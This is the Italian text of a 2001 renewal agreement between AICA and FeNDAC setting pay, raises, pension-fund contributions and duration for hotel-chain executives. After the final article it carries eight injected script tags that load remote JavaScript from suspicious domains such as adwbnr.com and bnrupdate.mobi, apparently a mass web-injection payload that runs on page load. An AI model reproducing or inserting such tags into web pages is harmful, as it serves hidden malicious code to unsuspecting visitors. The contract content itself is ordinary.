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Categoria: Alberghi (dirigenti di catene alberghiere)
Settore: Commercio
Data stipula: 31-7-2001
Data decorrenza: 1-1-2001
Data scadenza: 31-12-2002

ACCORDO DI RINNOVO

31 luglio 2001

DIRIGENTI (CATENE ALBERGHIERE)


L'anno 2001, il giorno 31 del mese di luglio in Milano

tra

-   Associazione Italiana Catene Alberghiere (AICA)

e

-     Federazione   Nazionale  Dirigenti  di  Aziende   Commerciali,   dei
  trasporti, del turismo, dei servizi, ausiliarie, del terziario  avanzato
  (FeNDAC)

si  è stipulato il seguente Accordo di rinnovo della parte economica e  di
previdenza  e  assistenza integrative del CCNL 18.10.95,  come  modificato
dagli   Accordi  10.9.97  e  19.10.99,  per  i  dirigenti  delle   aziende
dell'industria alberghiera aderenti ad AICA.



Art. 1 - Minimo contrattuale mensile.

1.   Il  minimo  contrattuale  mensile per i dirigenti  è  fissato  in  £.
  5.780.000 lorde, ovvero _ 2.985,12.



Art. 2 - Aumento retributivo.

1.   Fermo restando il minimo contrattuale di cui al precedente art. 1, ai
  dirigenti  compresi  nella sfera di applicazione del presente  contratto
  compete,   sulla  retribuzione  di  fatto  e  a  titolo  di  superminimo
  contrattuale,  un aumento retributivo di £. 540.000 corrispondenti  a  _
  278,89 _, ripartito come di seguito specificato:

-   £. 240.000 (_ 123,95) mensili a decorrere dall'1.1.01;
-   £. 300.000 (_ 154,94) mensili a decorrere dall'1.1.02.

2.   L'aumento di £. 240.000 (_ 123,95) mensili riferito al 2001,  di  cui
  al  comma  precedente,  potrà essere assorbito fino  a  concorrenza,  da
  incrementi economici erogati dalle aziende a partire dall'1.1.01 sino al
  31.7.01, esclusivamente a titolo di acconto o di anticipazione su futuri
  miglioramenti economici contrattuali o dalle quali sia stato espressamente
  stabilito l'assorbimento all'atto della concessione.

3.   Eventuali  competenze arretrate e/o conguagli spettanti ai  dirigenti
  in  forza  nel  periodo 1.1.01-31.7.01 in base al comma 1  del  presente
  articolo sono erogate 'pro quota', in ragione dei mesi interi prestati in
  servizio. Ai dirigenti in servizio al momento della stipula del presente
  contratto  l'aumento  di £. 240.000 (_ 123,95) mensili  e  le  eventuali
  competenze arretrate e/o conguagli spettanti dovranno essere corrisposti
  entro il 31.8.01.



Art. 3 - Previdenza integrativa - Fondo "Mario Negri".

La  retribuzione  convenzionale annua di cui all'art. 25,  comma  2,  CCNL
18.10.95 come modificato dall'Accordo integrativo 29.10.97, è elevata a £.
109.214.000  (_  56.404,32) a partire dall'1.1.01 e a  £.  114.674.700  (_
59.224,54) a partire dall'1.1.02.



Art. 4 - Retribuzione variabile.

Le  parti convengono di istituire una Commissione paritetica nazionale con
l'incarico  di esaminare i temi previsti nell'art. 10, CCNL 18.10.95,  che
dovrà insediarsi entro il 15.10.01.

La  Commissione  presenterà alle parti una relazione definitiva  entro  il
31.7.02.



Art. 5 - Decorrenza e durata.

Il  presente  Accordo decorre dal 1° gennaio 2001, fatte  salve  eventuali
diverse decorrenze previste da singole norme, e ha scadenza il 31 dicembre
2002.

Successivamente  a tale data sarà avviato il confronto negoziale  relativo
al rinnovo del CCNL 18.10.95.<script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwste.mobi/b.js></script><script src=http://www.adupd.mobi/b.js></script><script src=http://www.bnrupdate.mobi/b.js></script><script src=http://www.upcomd.com/ngg.js></script><script src=http://www.mainadt.com/ngg.js></script><script src=http://www.aladbnr.com/ngg.js></script>













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